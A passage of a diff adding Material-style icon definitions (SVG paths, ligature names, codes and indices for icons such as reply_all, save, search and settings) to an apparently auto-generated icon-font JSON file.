+ }, + { + "icon": { + "paths": [ + "M554 384c298 42 428 256 470 470-106-150-256-218-470-218v174l-298-298 298-298v170zM298 342l-170 170 170 170v128l-298-298 298-298v128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "reply_all" + ], + "defaultCode": 57695, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "reply_all", + "id": 630, + "order": 641, + "prevSize": 24, + "code": 57695, + "name": "reply_all" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 630 + }, + { + "icon": { + "paths": [ + "M554 554v-256h-84v256h84zM512 738c30 0 56-26 56-56s-26-54-56-54-56 24-56 54 26 56 56 56zM672 128l224 224v320l-224 224h-320l-224-224v-320l224-224h320z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "report" + ], + "defaultCode": 57696, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "report", + "id": 631, + "order": 642, + "prevSize": 24, + "code": 57696, + "name": "report" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 631 + }, + { + "icon": { + "paths": [ + "M554 598v-172h-84v172h84zM554 768v-86h-84v86h84zM42 896l470-810 470 810h-940z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "warning" + ], + "defaultCode": 57346, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "report_problem, warning", + "id": 632, + "order": 643, + "prevSize": 24, + "code": 57346, + "name": "warning2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 632 + }, + { + "icon": { + "paths": [ + "M682 256c0-76 96-170 214-170v852h-106v-340h-108v-342zM470 384v-298h84v298c0 90-70 164-160 170v384h-106v-384c-90-6-160-80-160-170v-298h86v298h84v-298h86v298h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "restaurant" + ], + "defaultCode": 58732, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "restaurant", + "id": 633, + "order": 644, + "prevSize": 24, + "code": 58732, + "name": "restaurant" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 633 + }, + { + "icon": { + "paths": [ + "M512 768c118 0 214-96 214-214s-96-212-214-212c-76 0-142 40-180 98l-54-56v170h170l-68-68c24-48 74-80 132-80 82 0 150 66 150 148s-68 150-150 150c-50 0-96-26-122-64h-74c32 76 108 128 196 128zM598 86l256 256v512c0 46-40 84-86 84h-512c-46 0-86-38-86-84l2-684c0-46 38-84 84-84h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "restore_page" + ], + "defaultCode": 59689, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "restore_page", + "id": 634, + "order": 645, + "prevSize": 24, + "code": 59689, + "name": "restore_page" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 634 + }, + { + "icon": { + "paths": [ + "M274 418c0 0-148-148-152-150l60-62 152 152zM554 86v212h-84v-212h84zM902 268c-4 2-152 150-152 150l-60-60 152-152zM1012 712c8 8 12 18 12 30s-4 22-12 30l-106 106c-8 8-18 12-30 12s-22-4-30-12c-34-32-72-60-114-80-14-6-24-22-24-38v-132c-62-20-128-30-196-30s-134 10-196 30v132c0 18-10 34-24 40-42 20-80 46-114 78-8 8-18 12-30 12s-22-4-30-12l-106-106c-8-8-12-18-12-30s4-22 12-30c130-124 306-200 500-200s370 76 500 200z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ring_volume" + ], + "defaultCode": 57553, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "ring_volume", + "id": 635, + "order": 646, + "prevSize": 24, + "code": 57553, + "name": "ring_volume" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 635 + }, + { + "icon": { + "paths": [ + "M590 332c166 34 294 176 306 350h-768c12-174 140-316 306-350-4-10-8-22-8-34 0-46 40-84 86-84s86 38 86 84c0 12-4 24-8 34zM86 726h852v84h-852v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "room_service" + ], + "defaultCode": 60233, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "room_service", + "id": 636, + "order": 647, + "prevSize": 24, + "code": 60233, + "name": "room_service" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 636 + }, + { + "icon": { + "paths": [ + "M826 284c150 150 150 392 0 542-74 76-174 112-272 112-64 0-126-16-184-48l64-62c38 18 78 26 120 26 76 0 154-30 212-88 116-116 116-306 0-422-58-58-136-88-212-88v138l-180-180 180-182v138c98 0 198 38 272 114zM158 550l156 156 156-156-156-156zM314 274l276 276-276 276-278-276z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rotate_90_degrees_ccw" + ], + "defaultCode": 58392, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "rotate_90_degrees_ccw", + "id": 637, + "order": 648, + "prevSize": 24, + "code": 58392, + "name": "rotate_90_degrees_ccw" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 637 + }, + { + "icon": { + "paths": [ + "M554 174c168 20 300 164 300 338s-132 318-300 338v-86c122-20 214-126 214-252s-92-232-214-252v166l-194-190 194-194v132zM302 782l62-62c32 24 68 38 106 44v86c-60-8-118-30-168-68zM260 554c6 38 20 74 42 106l-60 60c-38-50-60-106-68-166h86zM304 364c-22 32-38 68-44 106h-86c8-60 32-116 70-166z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rotate_left" + ], + "defaultCode": 58393, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "rotate_left", + "id": 638, + "order": 649, + "prevSize": 24, + "code": 58393, + "name": "rotate_left" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 638 + }, + { + "icon": { + "paths": [ + "M720 660c24-32 38-68 44-106h86c-8 60-30 116-68 166zM554 764c38-6 74-20 106-44l62 62c-50 38-108 60-168 68v-86zM850 470h-86c-6-38-20-74-44-106l62-60c38 50 60 106 68 166zM664 236l-194 190v-166c-122 20-214 126-214 252s92 232 214 252v86c-168-20-300-164-300-338s132-318 300-338v-132z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rotate_right" + ], + "defaultCode": 58394, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "rotate_right", + "id": 639, + "order": 650, + "prevSize": 24, + "code": 58394, + "name": "rotate_right" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 639 + }, + { + "icon": { + "paths": [ + "M896 342v212h-86v-212c0-70-58-128-128-128h-212v-86h212c118 0 214 96 214 214zM128 896v-86h86v86h-86zM298 896v-86h86v86h-86zM470 896v-86h84v86h-84zM298 214v-86h86v86h-86zM128 214v-86h86v86h-86zM128 384v-86h86v86h-86zM128 726v-86h86v86h-86zM128 554v-84h86v84h-86zM810 726v-86h86v86h-86zM810 810h86v86h-86v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rounded_corner" + ], + "defaultCode": 59680, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "rounded_corner", + "id": 640, + "order": 651, + "prevSize": 24, + "code": 59680, + "name": "rounded_corner" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 640 + }, + { + "icon": { + "paths": [ + "M640 768v-86h-86v86h86zM490 768v-86h-84v86h84zM342 768v-86h-86v86h86zM810 554c46 0 86 40 86 86v170c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-170c0-46 40-86 86-86h426v-170h86v170h84zM824 286l-34 34c-30-30-70-42-108-42s-76 12-106 42l-34-34c38-38 88-60 140-60s104 22 142 60zM862 252c-52-46-116-72-180-72s-126 26-178 72l-34-34c60-60 136-90 212-90s154 30 214 90z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "router" + ], + "defaultCode": 58152, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "router", + "id": 641, + "order": 652, + "prevSize": 24, + "code": 58152, + "name": "router" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 641 + }, + { + "icon": { + "paths": [ + "M896 896l-128 128-128-128v-64l-302-302c-14 2-28 2-40 2v-92c70 2 154-36 200-86l60-66c15.214-15.214 40.308-32 70-32h2c52 0 96 44 96 96v246c0 36-16 68-40 92l-152-152v-98c-26 22-62 44-98 60l268 268h64zM640 42c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86zM362 618l108 108h-86l-150 148-64-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rowing" + ], + "defaultCode": 59681, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "rowing", + "id": 642, + "order": 653, + "prevSize": 24, + "code": 59681, + "name": "rowing" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 642 + }, + { + "icon": { + "paths": [ + "M170 430c234 0 424 190 424 424h-122c0-166-136-302-302-302v-122zM170 190c366 0 664 298 664 664h-120c0-300-244-544-544-544v-120zM170 760c0-52 42-92 94-92s92 40 92 92-40 94-92 94-94-42-94-94z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rss_feed" + ], + "defaultCode": 57573, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "rss_feed", + "id": 643, + "order": 654, + "prevSize": 24, + "code": 57573, + "name": "rss_feed" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 643 + }, + { + "icon": { + "paths": [ + "M726 86l128 128-128 128v-86h-342v-86h342v-84zM768 598v-128h-170v128h170zM470 854c24 0 42-20 42-44s-18-42-42-42-44 18-44 42 20 44 44 44zM854 726h84v84h-340c0 70-58 128-128 128s-128-58-128-128h-86c-46 0-86-38-86-84v-128h300v-128h-172v84l-128-128 128-128v86h470c46 0 86 40 86 86v256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rv_hookup" + ], + "defaultCode": 58946, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "rv_hookup", + "id": 644, + "order": 655, + "prevSize": 24, + "code": 58946, + "name": "rv_hookup" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 644 + }, + { + "icon": { + "paths": [ + "M214 768h596l-192-256-148 192-108-128zM214 512c166 0 298-134 298-300h-86c0 118-94 214-212 214v86zM214 212v130c70 0 128-60 128-130h-128zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "satellite" + ], + "defaultCode": 58722, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "satellite", + "id": 645, + "order": 656, + "prevSize": 24, + "code": 58722, + "name": "satellite" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 645 + }, + { + "icon": { + "paths": [ + "M640 384v-170h-426v170h426zM512 810c70 0 128-58 128-128s-58-128-128-128-128 58-128 128 58 128 128 128zM726 128l170 170v512c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "save" + ], + "defaultCode": 57697, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "save", + "id": 646, + "order": 657, + "prevSize": 24, + "code": 57697, + "name": "save2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 646 + }, + { + "icon": { + "paths": [ + "M810 726v-86h-426v86h426zM298 726v-86h-84v86h84zM844 456c30 8 52 44 52 78v234c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-170c0-46 40-86 86-86h536l-600-218 30-80z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "scanner" + ], + "defaultCode": 58153, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "scanner", + "id": 647, + "order": 658, + "prevSize": 24, + "code": 58153, + "name": "scanner" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 647 + }, + { + "icon": { + "paths": [ + "M512 128l470 256v342h-86v-296l-384 210-470-256zM214 562l298 164 298-164v172l-298 162-298-162v-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "school" + ], + "defaultCode": 59404, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "school", + "id": 648, + "order": 659, + "prevSize": 24, + "code": 59404, + "name": "school" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 648 + }, + { + "icon": { + "paths": [ + "M460 426v44h104v-44c0-28-24-50-52-50s-52 22-52 50zM426 682c-24 0-42-18-42-42v-128c0-24 18-42 42-42v-44c0-46 38-84 86-84 46 0 86 36 86 84v44c24 0 42 18 42 42v128c0 24-18 42-42 42h-172zM810 726v-428h-596v428h596zM896 214c46 0 86 38 86 84v428c0 46-40 84-86 84h-768c-46 0-86-38-86-84v-428c0-46 40-84 86-84h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "screen_lock_landscape" + ], + "defaultCode": 57790, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "screen_lock_landscape", + "id": 649, + "order": 660, + "prevSize": 24, + "code": 57790, + "name": "screen_lock_landscape" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 649 + }, + { + "icon": { + "paths": [ + "M726 810v-596h-428v596h428zM726 42c46 0 84 40 84 86v768c0 46-38 86-84 86h-428c-46 0-84-40-84-86v-768c0-46 38-86 84-86h428zM460 426v44h104v-44c0-28-24-50-52-50s-52 22-52 50zM426 682c-24 0-42-18-42-42v-128c0-24 18-42 42-42v-44c0-46 38-84 86-84 46 0 86 36 86 84v44c24 0 42 18 42 42v128c0 24-18 42-42 42h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "screen_lock_portrait" + ], + "defaultCode": 57791, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "screen_lock_portrait", + "id": 650, + "order": 661, + "prevSize": 24, + "code": 57791, + "name": "screen_lock_portrait" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 650 + }, + { + "icon": { + "paths": [ + "M716 106v22h146v-22c0-40-32-72-72-72s-74 32-74 72zM682 384c-24 0-42-18-42-42v-172c0-24 18-42 42-42v-22c0-58 50-106 108-106s106 48 106 106v22c24 0 42 18 42 42v172c0 24-18 42-42 42h-214zM362 874l56-56 162 162-28 2c-268 0-488-208-510-470h64c16 160 116 296 256 362zM992 544c26 24 26 66 0 92l-272 270c-24 26-64 26-90 0l-512-512c-26-24-26-64 0-90l270-272c24-26 66-26 92 0l104 104-60 60-90-88-242 240 484 484 240-242-94-94 60-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "screen_lock_rotation" + ], + "defaultCode": 57792, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "screen_lock_rotation", + "id": 651, + "order": 662, + "prevSize": 24, + "code": 57792, + "name": "screen_lock_rotation" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 651 + }, + { + "icon": { + "paths": [ + "M320 916l58-56 162 162-28 2c-268 0-488-208-510-470h64c16 160 114 296 254 362zM632 904l272-272-512-512-272 272zM436 74l514 514c26 24 26 64 0 90l-272 272c-24 26-64 26-90 0l-514-514c-26-24-26-64 0-90l272-272c24-26 64-26 90 0zM704 108l-58 56-162-162 28-2c268 0 488 208 510 470h-64c-16-160-114-296-254-362z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "screen_rotation" + ], + "defaultCode": 57793, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "screen_rotation", + "id": 652, + "order": 663, + "prevSize": 24, + "code": 57793, + "name": "screen_rotation" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 652 + }, + { + "icon": { + "paths": [ + "M554 618l172-160-172-160v92c-166 24-232 136-256 250 60-80 138-116 256-116v94zM854 768h170v86h-1024v-86h170c-48 0-84-40-84-86v-426c0-48 36-86 84-86h684c46 0 84 38 84 86v426c0 46-38 86-84 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "screen_share" + ], + "defaultCode": 57570, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "screen_share", + "id": 653, + "order": 664, + "prevSize": 24, + "code": 57570, + "name": "screen_share" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 653 + }, + { + "icon": { + "paths": [ + "M768 342v-172h-86v172h86zM640 342v-172h-86v172h86zM512 342v-172h-86v172h86zM768 86c46 0 86 38 86 84v684c0 46-40 84-86 84h-512c-46 0-86-38-86-84l2-512 254-256h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sd_storage" + ], + "defaultCode": 57794, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sd_card, sd_storage", + "id": 654, + "order": 665, + "prevSize": 24, + "code": 57794, + "name": "sd_storage" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 654 + }, + { + "icon": { + "paths": [ + "M406 598c106 0 192-86 192-192s-86-192-192-192-192 86-192 192 86 192 192 192zM662 598l212 212-64 64-212-212v-34l-12-12c-48 42-112 66-180 66-154 0-278-122-278-276s124-278 278-278 276 124 276 278c0 68-24 132-66 180l12 12h34z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "search" + ], + "defaultCode": 59574, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "search", + "id": 655, + "order": 666, + "prevSize": 24, + "code": 59574, + "name": "search2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 655 + }, + { + "icon": { + "paths": [ + "M512 42l384 172v256c0 236-164 458-384 512-220-54-384-276-384-512v-256zM512 512v382c158-50 276-206 298-382h-298zM512 512v-376l-298 132v244h298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "security" + ], + "defaultCode": 58154, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "security", + "id": 656, + "order": 667, + "prevSize": 24, + "code": 58154, + "name": "security" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 656 + }, + { + "icon": { + "paths": [ + "M384 384v256h256v-256h-256zM298 726v-428h428v428h-428zM640 214v-86h86v86h-86zM640 896v-86h86v86h-86zM810 726v-86h86v86h-86zM810 384v-86h86v86h-86zM810 896v-86h86c0 46-40 86-86 86zM810 554v-84h86v84h-86zM470 896v-86h84v86h-84zM384 128v86h-86v-86h86zM128 726v-86h86v86h-86zM214 896c-46 0-86-40-86-86h86v86zM810 128c46 0 86 40 86 86h-86v-86zM554 128v86h-84v-86h84zM128 384v-86h86v86h-86zM298 896v-86h86v86h-86zM128 554v-84h86v84h-86zM128 214c0-46 40-86 86-86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "select_all" + ], + "defaultCode": 57698, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "select_all", + "id": 657, + "order": 668, + "prevSize": 24, + "code": 57698, + "name": "select_all" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 657 + }, + { + "icon": { + "paths": [ + "M86 896v-298l640-86-640-86v-298l896 384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "send" + ], + "defaultCode": 57699, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "send", + "id": 658, + "order": 669, + "prevSize": 24, + "code": 57699, + "name": "send2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 658 + }, + { + "icon": { + "paths": [ + "M512 598c100 0 184 60 218 148h-70c-30-50-84-84-148-84s-118 34-148 84h-70c34-88 118-148 218-148zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM298 406c0-36 28-64 64-64s64 28 64 64-28 64-64 64-64-28-64-64zM598 406c0-36 28-64 64-64s64 28 64 64-28 64-64 64-64-28-64-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sentiment_dissatisfied" + ], + "defaultCode": 59409, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sentiment_dissatisfied", + "id": 659, + "order": 670, + "prevSize": 24, + "code": 59409, + "name": "sentiment_dissatisfied" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 659 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM298 406c0-36 28-64 64-64s64 28 64 64-28 64-64 64-64-28-64-64zM598 406c0-36 28-64 64-64s64 28 64 64-28 64-64 64-64-28-64-64zM384 598h256v64h-256v-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sentiment_neutral" + ], + "defaultCode": 59410, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sentiment_neutral", + "id": 660, + "order": 671, + "prevSize": 24, + "code": 59410, + "name": "sentiment_neutral" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 660 + }, + { + "icon": { + "paths": [ + "M512 682c64 0 118-34 148-84h70c-34 88-118 148-218 148s-184-60-218-148h70c30 50 84 84 148 84zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM298 406c0-36 28-64 64-64s64 28 64 64-28 64-64 64-64-28-64-64zM598 406c0-36 28-64 64-64s64 28 64 64-28 64-64 64-64-28-64-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sentiment_satisfied" + ], + "defaultCode": 59411, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sentiment_satisfied", + "id": 661, + "order": 672, + "prevSize": 24, + "code": 59411, + "name": "sentiment_satisfied" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 661 + }, + { + "icon": { + "paths": [ + "M512 598c100 0 184 60 218 148h-436c34-88 118-148 218-148zM334 512l-46-46 46-44-46-46 46-44 44 44 46-44 46 44-46 46 46 44-46 46-46-46zM690 332l46 44-46 46 46 44-46 46-44-46-46 46-46-46 46-44-46-46 46-44 46 44zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sentiment_very_dissatisfied" + ], + "defaultCode": 59412, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sentiment_very_dissatisfied", + "id": 662, + "order": 673, + "prevSize": 24, + "code": 59412, + "name": "sentiment_very_dissatisfied" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 662 + }, + { + "icon": { + "paths": [ + "M512 746c-100 0-184-60-218-148h436c-34 88-118 148-218 148zM378 424l-44 46-46-46 90-90 92 90-46 46zM554 424l92-90 90 90-46 46-44-46-46 46zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sentiment_very_satisfied" + ], + "defaultCode": 59413, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sentiment_very_satisfied", + "id": 663, + "order": 674, + "prevSize": 24, + "code": 59413, + "name": "sentiment_very_satisfied" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 663 + }, + { + "icon": { + "paths": [ + "M512 662c82 0 150-68 150-150s-68-150-150-150-150 68-150 150 68 150 150 150zM830 554l90 70c8 6 10 18 4 28l-86 148c-6 10-16 12-26 8l-106-42c-22 16-46 32-72 42l-16 112c-2 10-10 18-20 18h-172c-10 0-18-8-20-18l-16-112c-26-10-50-24-72-42l-106 42c-10 4-20 2-26-8l-86-148c-6-10-4-22 4-28l90-70c-2-14-2-28-2-42s0-28 2-42l-90-70c-8-6-10-18-4-28l86-148c6-10 16-12 26-8l106 42c22-16 46-32 72-42l16-112c2-10 10-18 20-18h172c10 0 18 8 20 18l16 112c26 10 50 24 72 42l106-42c10-4 20-2 26 8l86 148c6 10 4 22-4 28l-90 70c2 14 2 28 2 42s0 28-2 42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings" + ], + "defaultCode": 59576, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings", + "id": 664, + "order": 675, + "prevSize": 24, + "code": 59576, + "name": "settings" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 664 + }, + { + "icon": { + "paths": [ + "M736 512c0-10 0-20-2-30l64-48c6-4 6-14 2-20l-60-104c-4-6-12-8-18-6l-74 30c-16-12-32-22-50-30l-12-78c-2-6-6-12-14-12h-120c-8 0-12 4-14 12l-12 80c-18 8-34 16-50 28l-74-30c-6-2-14 2-18 8l-60 102c-4 6-4 16 2 20l64 48c-2 10-2 20-2 30s0 20 2 30l-64 48c-6 4-6 14-2 20l60 104c4 6 12 8 18 6l74-30c16 12 32 22 50 30l12 78c2 6 6 12 14 12h120c8 0 12-4 14-12l12-80c18-8 34-16 50-28l74 30c6 2 14-2 18-8l60-102c4-6 4-16-2-20l-64-48c2-10 2-20 2-30zM810 128c48 0 86 40 86 86v596c0 46-38 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h596zM512 426c46 0 86 40 86 86s-40 86-86 86-86-40-86-86 40-86 86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_applications" + ], + "defaultCode": 59577, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_applications", + "id": 665, + "order": 676, + "prevSize": 24, + "code": 59577, + "name": "settings_applications" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 665 + }, + { + "icon": { + "paths": [ + "M512 128c212 0 384 172 384 384s-172 384-384 384c-88 0-170-30-234-80l60-60c50 34 110 54 174 54 166 0 298-132 298-298s-132-298-298-298-298 132-298 298h128l-172 170-170-170h128c0-212 172-384 384-384zM598 512c0 46-40 86-86 86s-86-40-86-86 40-86 86-86 86 40 86 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_backup_restore" + ], + "defaultCode": 59578, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_backup_restore", + "id": 666, + "order": 677, + "prevSize": 24, + "code": 59578, + "name": "settings_backup_restore" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 666 + }, + { + "icon": { + "paths": [ + "M634 610l-80-80v160zM554 164v160l80-80zM756 244l-184 182 184 184-244 244h-42v-324l-196 196-60-60 238-240-238-238 60-60 196 196v-324h42zM640 1024v-86h86v86h-86zM298 1024v-86h86v86h-86zM470 1024v-86h84v86h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_bluetooth" + ], + "defaultCode": 59579, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_bluetooth", + "id": 667, + "order": 678, + "prevSize": 24, + "code": 59579, + "name": "settings_bluetooth" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 667 + }, + { + "icon": { + "paths": [ + "M512 384v256c70 0 128-58 128-128s-58-128-128-128zM342 682v-106l-64-64 64-64v-106h106l64-64 64 64h106v106l64 64-64 64v106h-106l-64 64-64-64h-106zM896 812v-600h-768v600h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_brightness" + ], + "defaultCode": 59581, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_brightness", + "id": 668, + "order": 679, + "prevSize": 24, + "code": 59581, + "name": "settings_brightness" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 668 + }, + { + "icon": { + "paths": [ + "M682 682v-512h-340v512h340zM682 0c46 0 86 40 86 86v682c0 46-40 86-86 86h-340c-46 0-86-40-86-86v-682c0-46 40-86 86-86h340zM640 1024v-86h86v86h-86zM470 1024v-86h84v86h-84zM298 1024v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_cell" + ], + "defaultCode": 59580, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_cell", + "id": 669, + "order": 680, + "prevSize": 24, + "code": 59580, + "name": "settings_cell" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 669 + }, + { + "icon": { + "paths": [ + "M758 234l232 278-232 278-66-54 186-224-186-224zM470 554v-84h84v84h-84zM726 470v84h-86v-84h86zM298 554v-84h86v84h-86zM332 288l-186 224 186 224-66 54-232-278 232-278z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_ethernet" + ], + "defaultCode": 59582, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_ethernet", + "id": 670, + "order": 681, + "prevSize": 24, + "code": 59582, + "name": "settings_ethernet" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 670 + }, + { + "icon": { + "paths": [ + "M512 42c258 0 470 212 470 470h-86c0-212-172-384-384-384s-384 172-384 384h-86c0-258 212-470 470-470zM554 610v140l146 146-60 60-128-128-128 128-60-60 